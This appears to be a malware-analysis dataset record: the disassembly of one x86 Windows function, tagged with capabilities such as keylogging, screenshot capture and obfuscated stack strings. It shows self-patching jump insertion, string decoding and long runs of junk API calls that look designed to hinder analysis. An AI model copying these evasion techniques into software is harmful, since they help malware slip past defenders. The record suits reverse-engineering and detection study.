Function at 0xaaa000
Capabilities:
Accept command line arguments
Allocate thread local storage
Capture screenshot
Clear file content
Contain obfuscated stackstrings
Create pipe
Delete file
Enumerate gui resources
Get common file path
Get geographical location
Get graphical window text
Get session user name
Log keystrokes via polling
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov dword [ebp - 0x10], 0xaaad9d
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaaa039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x5c], 0xaaa221
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x5c]
mov dword [ebp - 0x1c], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jae 0xaaa0bb
call fcn.00487e82
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jb 0xaaa07d
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaaa097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
cmp ecx, 2
jae 0xaaa097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaaa04d
mov byte [ebp - 0x58], 1
mov byte [ebp - 0x57], 0x76
mov byte [ebp - 0x56], 9
mov byte [ebp - 0x55], 0x6c
mov byte [ebp - 0x54], 0x25
mov byte [ebp - 0x53], 0xdd
mov byte [ebp - 0x52], 0xd5
mov byte [ebp - 0x51], 0x34
mov byte [ebp - 0x50], 0xb7
mov byte [ebp - 0x4f], 0xf8
mov byte [ebp - 0x4e], 0xc3
mov byte [ebp - 0x4d], 0xed
mov byte [ebp - 0x4c], 0x42
mov byte [ebp - 0x4b], 0x7a
mov byte [ebp - 0x4a], 0x1e
mov byte [ebp - 0x49], 0x7c
mov byte [ebp - 0x48], 0xf2
mov byte [ebp - 0x47], 0x8e
mov byte [ebp - 0x46], 0xb1
mov byte [ebp - 0x45], 0x91
mov byte [ebp - 0x44], 0x8b
mov byte [ebp - 0x43], 0x7d
mov byte [ebp - 0x42], 0xf8
mov byte [ebp - 0x41], 0xc6
mov byte [ebp - 0x40], 0xc
mov byte [ebp - 0x3f], 0xd9
mov byte [ebp - 0x3e], 0x85
mov byte [ebp - 0x3d], 0x77
mov byte [ebp - 0x3c], 0x32
mov byte [ebp - 0x3b], 0xfc
mov byte [ebp - 0x3a], 0xa2
mov byte [ebp - 0x39], 0xd4
mov byte [ebp - 0x38], 0x3e
mov byte [ebp - 0x37], 0xb1
mov byte [ebp - 0x36], 0x38
mov byte [ebp - 0x35], 0x34
mov byte [ebp - 0x34], 0xf8
mov byte [ebp - 0x33], 0x30
mov byte [ebp - 0x32], 0xef
mov byte [ebp - 0x31], 0xad
mov byte [ebp - 0x30], 0xf4
mov byte [ebp - 0x2f], 0
mov byte [ebp - 0x2e], 0x77
mov byte [ebp - 0x2d], 2
mov byte [ebp - 0x2c], 0x75
mov byte [ebp - 0x2b], 3
mov byte [ebp - 0x2a], 0x29
mov byte [ebp - 0x29], 4
mov byte [ebp - 0x28], 0x82
mov byte [ebp - 0x27], 7
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], 6
mov byte [ebp - 0x24], 0x7d
mov byte [ebp - 0x23], 5
mov byte [ebp - 0x22], 0x7a
mov byte [ebp - 0x21], 8
mov byte [ebp - 0x20], 0x83
and dword [ebp - 8], 0
and dword [ebp - 0x60], 0
jmp 0xaaa1b1
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x39
jae 0xaaa216
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x58]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaaa1dd
mov dword [ebp - 0x60], 0x25
mov eax, dword [ebp - 8]
add eax, 0x23
mov dword [ebp - 8], eax
jmp 0xaaa1a9
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x57]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x60]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jge 0xaaa205
mov eax, dword [ebp - 0x14]
add eax, 0x100
mov dword [ebp - 0x14], eax
jmp 0xaaa1f2
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x58]
mov cl, byte [ebp - 0x14]
mov byte [ebp + eax - 0x6c], cl
jmp 0xaaa1a9
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x6c], 0
push 0
push 0xa9eefa
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x84]
call fcn.004075c0
mov ecx, eax
call fcn.00402a76
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x84]
call fcn.00402a1a
and dword [ebp - 0x18], 0
jmp 0xaaa25f
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xb
jae 0xaaa26f
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x6c], 0
jmp 0xaaa258
push 0x1427
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push 0
push 0xccc
push 0
push 0x20be
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0x176e
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
push 0
push 0xe54
push 0x1df6
push 0
push 0x1c0b
push 0x171a
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
call dword [sym.imp.GDI32.dll_GdiFlush]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0xccb
push 0x14d0
push 0x176e
push 0x26ee
push 0x60b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1af
push 0x1428
push 0x2110
push 0x23be
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
push 0x122d
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xa43
push 0x22b4
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0
push 0
push 0x17a4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push 0x323
push 0x126
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
push 0x25cf
push 0
push 0x153f
push 0x856
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0x1f7e
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
push 0x14c1
push 0x1045
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
push 0
push 0x1ad1
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0
push 0xb4c
push 0x5a9
push 0
push 0x2483
push 0x48a
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0xfab
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0x7dc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push 0x2e7
push 0x263
push 0
push 0
push 0x12e1
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push 0x1580
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
push 0x11f5
push 0
push 0
push 0x212c
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
push 0
push 0x1d3c
push 0x154b
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
push 0x183e
push 0x2f1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
push 0x1ed6
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
push 0x109e
push 0x240f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
call dword [sym.imp.USER32.dll_GetMessageTime]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
push 0
push 0x1268
push 0
push 0
push 0xdf8
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
push 0x1dfb
push 0
push 0
push 0x511
push 0x1b31
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0x149e
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0
push 0x1998
push 0x630
push 0x460
call dword [sym.imp.KERNEL32.dll_RaiseException]